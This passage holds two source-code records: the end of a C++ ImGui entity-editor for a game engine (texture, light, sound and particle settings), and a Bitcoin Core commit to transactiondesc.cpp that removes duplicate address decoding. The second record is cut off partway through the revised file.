(ImGui::Button(\"Select diffuse texture\"))\n        ImGui::OpenPopup(\"Select diffuse texture\");\n    \n    if (ImGui::BeginPopup(\"Select diffuse texture\")) {\n        ImGui::Text(\"Textures\");\n        ImGui::Separator();\n        \n        for (Texture2D* texture : Hymn().textures) {\n            if (ImGui::Selectable(texture->name.c_str()))\n                material->diffuse = texture;\n        }\n        \n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n\n\n    \/\/ Normal\n    ImGui::Text(\"Normal\");\n    ImGui::Indent();\n    if (material->normal->IsLoaded())\n        ImGui::Image((void*) material->normal->GetTextureID(), ImVec2(128, 128));\n    \n    if (ImGui::Button(\"Select normal texture\"))\n        ImGui::OpenPopup(\"Select normal texture\");\n    \n    if (ImGui::BeginPopup(\"Select normal texture\")) {\n        ImGui::Text(\"Textures\");\n        ImGui::Separator();\n        \n        for (Texture2D* texture : Hymn().textures) {\n            if (ImGui::Selectable(texture->name.c_str()))\n                material->normal = texture;\n        }\n        \n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n\n    \/\/ Specular\n    ImGui::Text(\"Specular\");\n    ImGui::Indent();\n    if (material->specular->IsLoaded())\n        ImGui::Image((void*) material->specular->GetTextureID(), ImVec2(128, 128));\n    \n    if (ImGui::Button(\"Select specular texture\"))\n        ImGui::OpenPopup(\"Select specular texture\");\n    \n    if (ImGui::BeginPopup(\"Select specular texture\")) {\n        ImGui::Text(\"Textures\");\n        ImGui::Separator();\n        \n        for (Texture2D* texture : Hymn().textures) {\n            if (ImGui::Selectable(texture->name.c_str()))\n                material->specular = texture;\n        }\n        \n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n\n    \/\/ Glow\n    ImGui::Text(\"Glow\");\n    ImGui::Indent();\n    if (material->glow->IsLoaded())\n        ImGui::Image((void*) material->glow->GetTextureID(), ImVec2(128, 128));\n    \n    if (ImGui::Button(\"Select glow texture\"))\n        ImGui::OpenPopup(\"Select glow texture\");\n    \n    if (ImGui::BeginPopup(\"Select glow texture\")) {\n        ImGui::Text(\"Textures\");\n        ImGui::Separator();\n        \n        for (Texture2D* texture : Hymn().textures) {\n            if (ImGui::Selectable(texture->name.c_str()))\n                material->glow = texture;\n        }\n        \n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::DirectionalLightEditor(Component::DirectionalLight* directionalLight) {\n    ImGui::Indent();\n    ImGui::InputFloat3(\"Color\", &directionalLight->color[0]);\n    ImGui::DraggableFloat(\"Ambient coefficient\", directionalLight->ambientCoefficient, 0.0f);\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::PointLightEditor(Component::PointLight* pointLight) {\n    ImGui::Indent();\n    ImGui::InputFloat3(\"Color\", &pointLight->color[0]);\n    ImGui::DraggableFloat(\"Ambient coefficient\", pointLight->ambientCoefficient, 0.0f);\n    ImGui::DraggableFloat(\"Attenuation\", pointLight->attenuation, 0.0f);\n    ImGui::DraggableFloat(\"Intensity\", pointLight->intensity, 0.0f);\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::SpotLightEditor(Component::SpotLight* spotLight) {\n    ImGui::Indent();\n    ImGui::InputFloat3(\"Color\", &spotLight->color[0]);\n    ImGui::DraggableFloat(\"Ambient coefficient\", spotLight->ambientCoefficient, 0.0f);\n    ImGui::DraggableFloat(\"Attenuation\", spotLight->attenuation, 0.0f);\n    ImGui::DraggableFloat(\"Intensity\", spotLight->intensity, 0.0f);\n    ImGui::DraggableFloat(\"Cone angle\", spotLight->coneAngle, 0.0f, 180.f);\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::ListenerEditor(Component::Listener* listener) {\n    \n}\n\nvoid EntityEditor::ScriptEditor(Component::Script* script) {\n    ImGui::Indent();\n    if(script->scriptFile != nullptr)\n        ImGui::Text(script->scriptFile->name.c_str());\n    else\n        ImGui::Text(\"No script loaded\");\n    \n    if (ImGui::Button(\"Select script\"))\n        ImGui::OpenPopup(\"Select script\");\n\n    if (ImGui::BeginPopup(\"Select script\")) {\n        ImGui::Text(\"Scripts\");\n        ImGui::Separator();\n\n        for (ScriptFile* scriptFile : Hymn().scripts) {\n            if (ImGui::Selectable(scriptFile->name.c_str()))\n                script->scriptFile = scriptFile;\n        }\n\n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::SoundSourceEditor(Component::SoundSource* soundSource) {\n    ImGui::Text(\"Sound\");\n    ImGui::Indent();\n    if (ImGui::Button(\"Select sound\"))\n        ImGui::OpenPopup(\"Select sound\");\n    \n    if (ImGui::BeginPopup(\"Select sound\")) {\n        ImGui::Text(\"Sounds\");\n        ImGui::Separator();\n        \n        for (Audio::SoundBuffer* sound : Hymn().sounds) {\n            if (ImGui::Selectable(sound->name.c_str()))\n                soundSource->soundBuffer = sound;\n        }\n        \n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n    ImGui::Text(\"Sound properties\");\n    ImGui::Indent();\n    ImGui::DraggableFloat(\"Pitch\", soundSource->pitch, 0.0f);\n    ImGui::DraggableFloat(\"Gain\", soundSource->gain, 0.0f);\n    ImGui::Checkbox(\"Loop\", &soundSource->loop);\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::ParticleEmitterEditor(Component::ParticleEmitter* particleEmitter) {\n    ImGui::Text(\"Particle\");\n    ImGui::Indent();\n    int rows = Managers().particleManager->GetTextureAtlasRows();\n    float column = static_cast<float>(particleEmitter->particleType.textureIndex % rows);\n    float row = static_cast<float>(particleEmitter->particleType.textureIndex \/ rows);\n    ImGui::Image((void*) Managers().particleManager->GetTextureAtlas()->GetTextureID(), ImVec2(128, 128), ImVec2(column \/ rows, row \/ rows), ImVec2((column + 1.f) \/ rows, (row + 1.f) \/ rows));\n    ImGui::InputInt(\"Texture index\", &particleEmitter->particleType.textureIndex);\n    ImGui::ColorEdit3(\"Color\", &particleEmitter->particleType.color[0]);\n    ImGui::DraggableVec3(\"Min velocity\", particleEmitter->particleType.minVelocity);\n    ImGui::DraggableVec3(\"Max velocity\", particleEmitter->particleType.maxVelocity);\n    ImGui::DraggableFloat(\"Average lifetime\", particleEmitter->particleType.averageLifetime, 0.0f);\n    ImGui::DraggableFloat(\"Lifetime variance\", particleEmitter->particleType.lifetimeVariance, 0.0f);\n    ImGui::DraggableVec2(\"Average size\", particleEmitter->particleType.averageSize, 0.0f);\n    ImGui::DraggableVec2(\"Size variance\", particleEmitter->particleType.sizeVariance, 0.0f);\n    ImGui::Checkbox(\"Uniform scaling\", &particleEmitter->particleType.uniformScaling);\n    ImGui::DraggableFloat(\"Start alpha\", particleEmitter->particleType.startAlpha, 0.0f, 1.0f);\n    ImGui::DraggableFloat(\"Mid alpha\", particleEmitter->particleType.midAlpha, 0.0f, 1.0f);\n    ImGui::DraggableFloat(\"End alpha\", particleEmitter->particleType.endAlpha, 0.0f, 1.0f);\n    ImGui::Unindent();\n    \n    ImGui::Text(\"Emitter\");\n    ImGui::Indent();\n    ImGui::DraggableFloat(\"Average emit time\", particleEmitter->averageEmitTime, 0.0f);\n    ImGui::DraggableFloat(\"Emit time variance\", particleEmitter->emitTimeVariance, 0.0f);\n    \n    const char* items[] = { \"Point\", \"Cuboid\" };\n    int item = static_cast<int>(particleEmitter->emitterType);\n    if (ImGui::Combo(\"Emitter type\", &item, items, 2))\n        particleEmitter->emitterType = static_cast<Component::ParticleEmitter::EmitterType>(item);\n    \n    if (particleEmitter->emitterType == Component::ParticleEmitter::CUBOID)\n        ImGui::DraggableVec3(\"Size\", particleEmitter->size);\n    \n    ImGui::Unindent();\n    \n    ImGui::Text(\"Preview\");\n    ImGui::Indent();\n    ImGui::Checkbox(\"Simulate\", &particleEmitter->preview);\n    ImGui::Unindent();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011-2016 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"transactiondesc.h\"\n\n#include \"bitcoinunits.h\"\n#include \"guiutil.h\"\n#include \"paymentserver.h\"\n#include \"transactionrecord.h\"\n\n#include \"base58.h\"\n#include \"consensus\/consensus.h\"\n#include \"validation.h\"\n#include \"script\/script.h\"\n#include \"timedata.h\"\n#include \"util.h\"\n#include \"wallet\/db.h\"\n#include \"wallet\/wallet.h\"\n\n#include <stdint.h>\n#include <string>\n\nQString TransactionDesc::FormatTxStatus(const CWalletTx& wtx)\n{\n    AssertLockHeld(cs_main);\n    if (!CheckFinalTx(wtx))\n    {\n        if (wtx.tx->nLockTime < LOCKTIME_THRESHOLD)\n            return tr(\"Open for %n more block(s)\", \"\", wtx.tx->nLockTime - chainActive.Height());\n        else\n            return tr(\"Open until %1\").arg(GUIUtil::dateTimeStr(wtx.tx->nLockTime));\n    }\n    else\n    {\n        int nDepth = wtx.GetDepthInMainChain();\n        if (nDepth < 0)\n            return tr(\"conflicted with a transaction with %1 confirmations\").arg(-nDepth);\n        else if (GetAdjustedTime() - wtx.nTimeReceived > 2 * 60 && wtx.GetRequestCount() == 0)\n            return tr(\"%1\/offline\").arg(nDepth);\n        else if (nDepth == 0)\n            return tr(\"0\/unconfirmed, %1\").arg((wtx.InMempool() ? tr(\"in memory pool\") : tr(\"not in memory pool\"))) + (wtx.isAbandoned() ? \", \"+tr(\"abandoned\") : \"\");\n        else if (nDepth < 6)\n            return tr(\"%1\/unconfirmed\").arg(nDepth);\n        else\n            return tr(\"%1 confirmations\").arg(nDepth);\n    }\n}\n\nQString TransactionDesc::toHTML(CWallet *wallet, CWalletTx &wtx, TransactionRecord *rec, int unit)\n{\n    QString strHTML;\n\n    LOCK2(cs_main, wallet->cs_wallet);\n    strHTML.reserve(4000);\n    strHTML += \"<html><font face='verdana, arial, helvetica, sans-serif'>\";\n\n    int64_t nTime = wtx.GetTxTime();\n    CAmount nCredit = wtx.GetCredit(ISMINE_ALL);\n    CAmount nDebit = wtx.GetDebit(ISMINE_ALL);\n    CAmount nNet = nCredit - nDebit;\n\n    strHTML += \"<b>\" + tr(\"Status\") + \":<\/b> \" + FormatTxStatus(wtx);\n    int nRequests = wtx.GetRequestCount();\n    if (nRequests != -1)\n    {\n        if (nRequests == 0)\n            strHTML += tr(\", has not been successfully broadcast yet\");\n        else if (nRequests > 0)\n            strHTML += tr(\", broadcast through %n node(s)\", \"\", nRequests);\n    }\n    strHTML += \"<br>\";\n\n    strHTML += \"<b>\" + tr(\"Date\") + \":<\/b> \" + (nTime ? GUIUtil::dateTimeStr(nTime) : \"\") + \"<br>\";\n\n    \/\/\n    \/\/ From\n    \/\/\n    if (wtx.IsCoinBase())\n    {\n        strHTML += \"<b>\" + tr(\"Source\") + \":<\/b> \" + tr(\"Generated\") + \"<br>\";\n    }\n    else if (wtx.mapValue.count(\"from\") && !wtx.mapValue[\"from\"].empty())\n    {\n        \/\/ Online transaction\n        strHTML += \"<b>\" + tr(\"From\") + \":<\/b> \" + GUIUtil::HtmlEscape(wtx.mapValue[\"from\"]) + \"<br>\";\n    }\n    else\n    {\n        \/\/ Offline transaction\n        if (nNet > 0)\n        {\n            \/\/ Credit\n            if (IsValidDestinationString(rec->address)) {\n                CTxDestination address = DecodeDestination(rec->address);\n                if (wallet->mapAddressBook.count(address))\n                {\n                    strHTML += \"<b>\" + tr(\"From\") + \":<\/b> \" + tr(\"unknown\") + \"<br>\";\n                    strHTML += \"<b>\" + tr(\"To\") + \":<\/b> \";\n                    strHTML += GUIUtil::HtmlEscape(rec->address);\n                    QString addressOwned = (::IsMine(*wallet, address) == ISMINE_SPENDABLE) ? tr(\"own address\") : tr(\"watch-only\");\n                    if (!wallet->mapAddressBook[address].name.empty())\n                        strHTML += \" (\" + addressOwned + \", \" + tr(\"label\") + \": \" + GUIUtil::HtmlEscape(wallet->mapAddressBook[address].name) + \")\";\n                    else\n                        strHTML += \" (\" + addressOwned + \")\";\n                    strHTML += \"<br>\";\n                }\n            }\n        }\n    }\n\n    \/\/\n    \/\/ To\n    \/\/\n    if (wtx.mapValue.count(\"to\") && !wtx.mapValue[\"to\"].empty())\n    {\n        \/\/ Online transaction\n        std::string strAddress = wtx.mapValue[\"to\"];\n        strHTML += \"<b>\" + tr(\"To\") + \":<\/b> \";\n        CTxDestination dest = DecodeDestination(strAddress);\n        if (wallet->mapAddressBook.count(dest) && !wallet->mapAddressBook[dest].name.empty())\n            strHTML += GUIUtil::HtmlEscape(wallet->mapAddressBook[dest].name) + \" \";\n        strHTML += GUIUtil::HtmlEscape(strAddress) + \"<br>\";\n    }\n\n    \/\/\n    \/\/ Amount\n    \/\/\n    if (wtx.IsCoinBase() && nCredit == 0)\n    {\n        \/\/\n        \/\/ Coinbase\n        \/\/\n        CAmount nUnmatured = 0;\n        for (const CTxOut& txout : wtx.tx->vout)\n            nUnmatured += wallet->GetCredit(txout, ISMINE_ALL);\n        strHTML += \"<b>\" + tr(\"Credit\") + \":<\/b> \";\n        if (wtx.IsInMainChain())\n            strHTML += BitcoinUnits::formatHtmlWithUnit(unit, nUnmatured)+ \" (\" + tr(\"matures in %n more block(s)\", \"\", wtx.GetBlocksToMaturity()) + \")\";\n        else\n            strHTML += \"(\" + tr(\"not accepted\") + \")\";\n        strHTML += \"<br>\";\n    }\n    else if (nNet > 0)\n    {\n        \/\/\n        \/\/ Credit\n        \/\/\n        strHTML += \"<b>\" + tr(\"Credit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, nNet) + \"<br>\";\n    }\n    else\n    {\n        isminetype fAllFromMe = ISMINE_SPENDABLE;\n        for (const CTxIn& txin : wtx.tx->vin)\n        {\n            isminetype mine = wallet->IsMine(txin);\n            if(fAllFromMe > mine) fAllFromMe = mine;\n        }\n\n        isminetype fAllToMe = ISMINE_SPENDABLE;\n        for (const CTxOut& txout : wtx.tx->vout)\n        {\n            isminetype mine = wallet->IsMine(txout);\n            if(fAllToMe > mine) fAllToMe = mine;\n        }\n\n        if (fAllFromMe)\n        {\n            if(fAllFromMe & ISMINE_WATCH_ONLY)\n                strHTML += \"<b>\" + tr(\"From\") + \":<\/b> \" + tr(\"watch-only\") + \"<br>\";\n\n            \/\/\n            \/\/ Debit\n            \/\/\n            for (const CTxOut& txout : wtx.tx->vout)\n            {\n                \/\/ Ignore change\n                isminetype toSelf = wallet->IsMine(txout);\n                if ((toSelf == ISMINE_SPENDABLE) && (fAllFromMe == ISMINE_SPENDABLE))\n                    continue;\n\n                if (!wtx.mapValue.count(\"to\") || wtx.mapValue[\"to\"].empty())\n                {\n                    \/\/ Offline transaction\n                    CTxDestination address;\n                    if (ExtractDestination(txout.scriptPubKey, address))\n                    {\n                        strHTML += \"<b>\" + tr(\"To\") + \":<\/b> \";\n                        if (wallet->mapAddressBook.count(address) && !wallet->mapAddressBook[address].name.empty())\n                            strHTML += GUIUtil::HtmlEscape(wallet->mapAddressBook[address].name) + \" \";\n                        strHTML += GUIUtil::HtmlEscape(EncodeDestination(address));\n                        if(toSelf == ISMINE_SPENDABLE)\n                            strHTML += \" (own address)\";\n                        else if(toSelf & ISMINE_WATCH_ONLY)\n                            strHTML += \" (watch-only)\";\n                        strHTML += \"<br>\";\n                    }\n                }\n\n                strHTML += \"<b>\" + tr(\"Debit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, -txout.nValue) + \"<br>\";\n                if(toSelf)\n                    strHTML += \"<b>\" + tr(\"Credit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, txout.nValue) + \"<br>\";\n            }\n\n            if (fAllToMe)\n            {\n                \/\/ Payment to self\n                CAmount nChange = wtx.GetChange();\n                CAmount nValue = nCredit - nChange;\n                strHTML += \"<b>\" + tr(\"Total debit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, -nValue) + \"<br>\";\n                strHTML += \"<b>\" + tr(\"Total credit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, nValue) + \"<br>\";\n            }\n\n            CAmount nTxFee = nDebit - wtx.tx->GetValueOut();\n            if (nTxFee > 0)\n                strHTML += \"<b>\" + tr(\"Transaction fee\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, -nTxFee) + \"<br>\";\n        }\n        else\n        {\n            \/\/\n            \/\/ Mixed debit transaction\n            \/\/\n            for (const CTxIn& txin : wtx.tx->vin)\n                if (wallet->IsMine(txin))\n                    strHTML += \"<b>\" + tr(\"Debit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, -wallet->GetDebit(txin, ISMINE_ALL)) + \"<br>\";\n            for (const CTxOut& txout : wtx.tx->vout)\n                if (wallet->IsMine(txout))\n                    strHTML += \"<b>\" + tr(\"Credit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, wallet->GetCredit(txout, ISMINE_ALL)) + \"<br>\";\n        }\n    }\n\n    strHTML += \"<b>\" + tr(\"Net amount\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, nNet, true) + \"<br>\";\n\n    \/\/\n    \/\/ Message\n    \/\/\n    if (wtx.mapValue.count(\"message\") && !wtx.mapValue[\"message\"].empty())\n        strHTML += \"<br><b>\" + tr(\"Message\") + \":<\/b><br>\" + GUIUtil::HtmlEscape(wtx.mapValue[\"message\"], true) + \"<br>\";\n    if (wtx.mapValue.count(\"comment\") && !wtx.mapValue[\"comment\"].empty())\n        strHTML += \"<br><b>\" + tr(\"Comment\") + \":<\/b><br>\" + GUIUtil::HtmlEscape(wtx.mapValue[\"comment\"], true) + \"<br>\";\n\n    strHTML += \"<b>\" + tr(\"Transaction ID\") + \":<\/b> \" + rec->getTxID() + \"<br>\";\n    strHTML += \"<b>\" + tr(\"Transaction total size\") + \":<\/b> \" + QString::number(wtx.tx->GetTotalSize()) + \" bytes<br>\";\n    strHTML += \"<b>\" + tr(\"Output index\") + \":<\/b> \" + QString::number(rec->getOutputIndex()) + \"<br>\";\n\n    \/\/ Message from normal bitcoin:URI (bitcoin:123...?message=example)\n    for (const std::pair<std::string, std::string>& r : wtx.vOrderForm)\n        if (r.first == \"Message\")\n            strHTML += \"<br><b>\" + tr(\"Message\") + \":<\/b><br>\" + GUIUtil::HtmlEscape(r.second, true) + \"<br>\";\n\n    \/\/\n    \/\/ PaymentRequest info:\n    \/\/\n    for (const std::pair<std::string, std::string>& r : wtx.vOrderForm)\n    {\n        if (r.first == \"PaymentRequest\")\n        {\n            PaymentRequestPlus req;\n            req.parse(QByteArray::fromRawData(r.second.data(), r.second.size()));\n            QString merchant;\n            if (req.getMerchant(PaymentServer::getCertStore(), merchant))\n                strHTML += \"<b>\" + tr(\"Merchant\") + \":<\/b> \" + GUIUtil::HtmlEscape(merchant) + \"<br>\";\n        }\n    }\n\n    if (wtx.IsCoinBase())\n    {\n        quint32 numBlocksToMaturity = COINBASE_MATURITY +  1;\n        strHTML += \"<br>\" + tr(\"Generated coins must mature %1 blocks before they can be spent. When you generated this block, it was broadcast to the network to be added to the block chain. If it fails to get into the chain, its state will change to \\\"not accepted\\\" and it won't be spendable. This may occasionally happen if another node generates a block within a few seconds of yours.\").arg(QString::number(numBlocksToMaturity)) + \"<br>\";\n    }\n\n    \/\/\n    \/\/ Debug view\n    \/\/\n    if (logCategories != BCLog::NONE)\n    {\n        strHTML += \"<hr><br>\" + tr(\"Debug information\") + \"<br><br>\";\n        for (const CTxIn& txin : wtx.tx->vin)\n            if(wallet->IsMine(txin))\n                strHTML += \"<b>\" + tr(\"Debit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, -wallet->GetDebit(txin, ISMINE_ALL)) + \"<br>\";\n        for (const CTxOut& txout : wtx.tx->vout)\n            if(wallet->IsMine(txout))\n                strHTML += \"<b>\" + tr(\"Credit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, wallet->GetCredit(txout, ISMINE_ALL)) + \"<br>\";\n\n        strHTML += \"<br><b>\" + tr(\"Transaction\") + \":<\/b><br>\";\n        strHTML += GUIUtil::HtmlEscape(wtx.tx->ToString(), true);\n\n        strHTML += \"<br><b>\" + tr(\"Inputs\") + \":<\/b>\";\n        strHTML += \"<ul>\";\n\n        for (const CTxIn& txin : wtx.tx->vin)\n        {\n            COutPoint prevout = txin.prevout;\n\n            Coin prev;\n            if(pcoinsTip->GetCoin(prevout, prev))\n            {\n                {\n                    strHTML += \"<li>\";\n                    const CTxOut &vout = prev.out;\n                    CTxDestination address;\n                    if (ExtractDestination(vout.scriptPubKey, address))\n                    {\n                        if (wallet->mapAddressBook.count(address) && !wallet->mapAddressBook[address].name.empty())\n                            strHTML += GUIUtil::HtmlEscape(wallet->mapAddressBook[address].name) + \" \";\n                        strHTML += QString::fromStdString(EncodeDestination(address));\n                    }\n                    strHTML = strHTML + \" \" + tr(\"Amount\") + \"=\" + BitcoinUnits::formatHtmlWithUnit(unit, vout.nValue);\n                    strHTML = strHTML + \" IsMine=\" + (wallet->IsMine(vout) & ISMINE_SPENDABLE ? tr(\"true\") : tr(\"false\")) + \"<\/li>\";\n                    strHTML = strHTML + \" IsWatchOnly=\" + (wallet->IsMine(vout) & ISMINE_WATCH_ONLY ? tr(\"true\") : tr(\"false\")) + \"<\/li>\";\n                }\n            }\n        }\n\n        strHTML += \"<\/ul>\";\n    }\n\n    strHTML += \"<\/font><\/html>\";\n    return strHTML;\n}\n<commit_msg>Remove duplicate destination decoding<commit_after>\/\/ Copyright (c) 2011-2016 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"transactiondesc.h\"\n\n#include \"bitcoinunits.h\"\n#include \"guiutil.h\"\n#include \"paymentserver.h\"\n#include \"transactionrecord.h\"\n\n#include \"base58.h\"\n#include \"consensus\/consensus.h\"\n#include \"validation.h\"\n#include \"script\/script.h\"\n#include \"timedata.h\"\n#include \"util.h\"\n#include \"wallet\/db.h\"\n#include \"wallet\/wallet.h\"\n\n#include <stdint.h>\n#include <string>\n\nQString TransactionDesc::FormatTxStatus(const CWalletTx& wtx)\n{\n    AssertLockHeld(cs_main);\n    if (!CheckFinalTx(wtx))\n    {\n        if (wtx.tx->nLockTime < LOCKTIME_THRESHOLD)\n            return tr(\"Open for %n more block(s)\", \"\", wtx.tx->nLockTime - chainActive.Height());\n        else\n            return tr(\"Open until %1\").arg(GUIUtil::dateTimeStr(wtx.tx->nLockTime));\n    }\n    else\n    {\n        int nDepth = wtx.GetDepthInMainChain();\n        if (nDepth < 0)\n            return tr(\"conflicted with a transaction with %1 confirmations\").arg(-nDepth);\n        else if (GetAdjustedTime() - wtx.nTimeReceived > 2 * 60 && wtx.GetRequestCount() == 0)\n            return tr(\"%1\/offline\").arg(nDepth);\n        else if (nDepth == 0)\n            return tr(\"0\/unconfirmed, %1\").arg((wtx.InMempool() ? tr(\"in memory pool\") : tr(\"not in memory pool\"))) + (wtx.isAbandoned() ? \", \"+tr(\"abandoned\") : \"\");\n        else if (nDepth < 6)\n            return tr(\"%1\/unconfirmed\").arg(nDepth);\n        else\n            return tr(\"%1 confirmations\").arg(nDepth);\n    }\n}\n\nQString TransactionDesc::toHTML(CWallet *wallet, CWalletTx &wtx, TransactionRecord *rec, int unit)\n{\n    QString strHTML;\n\n    LOCK2(cs_main, wallet->cs_wallet);\n    strHTML.reserve(4000);\n    strHTML += \"<html><font face='verdana, arial, helvetica, sans-serif'>\";\n\n    int64_t nTime = wtx.GetTxTime();\n    CAmount nCredit = wtx.GetCredit(ISMINE_ALL);\n    CAmount nDebit = wtx.GetDebit(ISMINE_ALL);\n    CAmount nNet = nCredit - nDebit;\n\n    strHTML += \"<b>\" + tr(\"Status\") + \":<\/b> \" + FormatTxStatus(wtx);\n    int nRequests = wtx.GetRequestCount();\n    if (nRequests != -1)\n    {\n        if (nRequests == 0)\n            strHTML += tr(\", has not been successfully broadcast yet\");\n        else if (nRequests > 0)\n            strHTML += tr(\", broadcast through %n node(s)\", \"\", nRequests);\n    }\n    strHTML += \"<br>\";\n\n    strHTML += \"<b>\" + tr(\"Date\") + \":<\/b> \" + (nTime ? GUIUtil::dateTimeStr(nTime) : \"\") + \"<br>\";\n\n    \/\/\n    \/\/ From\n    \/\/\n    if (wtx.IsCoinBase())\n    {\n        strHTML += \"<b>\" + tr(\"Source\") + \":<\/b> \" + tr(\"Generated\") + \"<br>\";\n    }\n    else if (wtx.mapValue.count(\"from\") && !wtx.mapValue[\"from\"].empty())\n    {\n        \/\/ Online transaction\n        strHTML += \"<b>\" + tr(\"From\") + \":<\/b> \" + GUIUtil::HtmlEscape(wtx.mapValue[\"from\"]) + \"<br>\";\n    }\n    else\n    {\n        \/\/ Offline transaction\n        if (nNet > 0)\n        {\n            \/\/ Credit\n            CTxDestination address = DecodeDestination(rec->address);\n            if (IsValidDestination(address)) {\n                if (wallet->mapAddressBook.count(address))\n                {\n                    strHTML += \"<b>\" + tr(\"From\") + \":<\/b> \" + tr(\"unknown\") + \"<br>\";\n                    strHTML += \"<b>\" + tr(\"To\") + \":<\/b> \";\n                    strHTML += GUIUtil::HtmlEscape(rec->address);\n                    QString addressOwned = (::IsMine(*wallet, address) == ISMINE_SPENDABLE) ? tr(\"own address\") : tr(\"watch-only\");\n                    if (!wallet->mapAddressBook[address].name.empty())\n                        strHTML += \" (\" + addressOwned + \", \" + tr(\"label\") + \": \" + GUIUtil::HtmlEscape(wallet->mapAddressBook[address].name) + \")\";\n                    else\n                        strHTML += \" (\" + addressOwned + \")\";\n                    strHTML += \"<br>\";\n                }\n            }\n        }\n    }\n\n    \/\/\n    \/\/ To\n    \/\/\n    if (wtx.mapValue.count(\"to\") && !wtx.mapValue[\"to\"].empty())\n    {\n        \/\/ Online transaction\n        std::string strAddress = wtx.mapValue[\"to\"];\n        strHTML += \"<b>\" + tr(\"To\") + \":<\/b> \";\n        CTxDestination dest = DecodeDestination(strAddress);\n        if (wallet->mapAddressBook.count(dest) && !wallet->mapAddressBook[dest].name.empty())\n            strHTML += GUIUtil::HtmlEscape(wallet->mapAddressBook[dest].name) + \" \";\n        strHTML += GUIUtil::HtmlEscape(strAddress) + \"<br>\";\n    }\n\n    \/\/\n    \/\/ Amount\n    \/\/\n    if (wtx.IsCoinBase() && nCredit == 0)\n    {\n        \/\/\n        \/\/ Coinbase\n        \/\/\n        CAmount nUnmatured = 0;\n        for (const CTxOut& txout : wtx.tx->vout)\n            nUnmatured += wallet->GetCredit(txout, ISMINE_ALL);\n        strHTML += \"<b>\" + tr(\"Credit\") + \":<\/b> \";\n        if (wtx.IsInMainChain())\n            strHTML += BitcoinUnits::formatHtmlWithUnit(unit, nUnmatured)+ \" (\" + tr(\"matures in %n more block(s)\", \"\", wtx.GetBlocksToMaturity()) + \")\";\n        else\n            strHTML += \"(\" + tr(\"not accepted\") + \")\";\n        strHTML += \"<br>\";\n    }\n    else if (nNet > 0)\n    {\n        \/\/\n        \/\/ Credit\n        \/\/\n        strHTML += \"<b>\" + tr(\"Credit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, nNet) + \"<br>\";\n    }\n    else\n    {\n        isminetype fAllFromMe = ISMINE_SPENDABLE;\n        for (const CTxIn& txin : wtx.tx->vin)\n        {\n            isminetype mine = wallet->IsMine(txin);\n            if(fAllFromMe > mine) fAllFromMe = mine;\n        }\n\n        isminetype fAllToMe = ISMINE_SPENDABLE;\n        for (const CTxOut& txout : wtx.tx->vout)\n        {\n            isminetype mine = wallet->IsMine(txout);\n            if(fAllToMe > mine) fAllToMe = mine;\n        }\n\n        if (fAllFromMe)\n        {\n            if(fAllFromMe & ISMINE_WATCH_ONLY)\n                strHTML += \"<b>\" + tr(\"From\") + \":<\/b> \" + tr(\"watch-only\") + \"<br>\";\n\n            \/\/\n            \/\/ Debit\n            \/\/\n            for (const CTxOut& txout : wtx.tx->vout)\n            {\n                \/\/ Ignore change\n                isminetype toSelf = wallet->IsMine(txout);\n                if ((toSelf == ISMINE_SPENDABLE) && (fAllFromMe == ISMINE_SPENDABLE))\n                    continue;\n\n                if (!wtx.mapValue.count(\"to\") || wtx.mapValue[\"to\"].empty())\n                {\n                    \/\/ Offline transaction\n                    CTxDestination address;\n                    if (ExtractDestination(txout.scriptPubKey, address))\n                    {\n                        strHTML += \"<b>\" + tr(\"To\") + \":<\/b> \";\n                        if (wallet->mapAddressBook.count(address) && !wallet->mapAddressBook[address].name.empty())\n                            strHTML += GUIUtil::HtmlEscape(wallet->mapAddressBook[address].name) + \" \";\n                        strHTML += GUIUtil::HtmlEscape(EncodeDestination(address));\n                        if(toSelf == ISMINE_SPENDABLE)\n                            strHTML += \" (own address)\";\n                        else if(toSelf & ISMINE_WATCH_ONLY)\n                            strHTML += \" (watch-only)\";\n                        strHTML += \"<br>\";\n                    }\n                }\n\n                strHTML += \"<b>\" + tr(\"Debit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, -txout.nValue) + \"<br>\";\n                if(toSelf)\n                    strHTML += \"<b>\" + tr(\"Credit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, txout.nValue) + \"<br>\";\n            }\n\n            if (fAllToMe)\n            {\n                \/\/ Payment to self\n                CAmount nChange = wtx.GetChange();\n                CAmount nValue = nCredit - nChange;\n                strHTML += \"<b>\" + tr(\"Total debit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, -nValue) + \"<br>\";\n                strHTML += \"<b>\" + tr(\"Total credit\") + \":<\/b> \" + BitcoinUnits::formatHtmlWithUnit(unit, nValue) + \"<br>\";\n            }\n\n            CAmount nTxFee = nDebit - wtx.tx->GetValueOut();\n            if (nTxFee > 0)\n                strHTML += 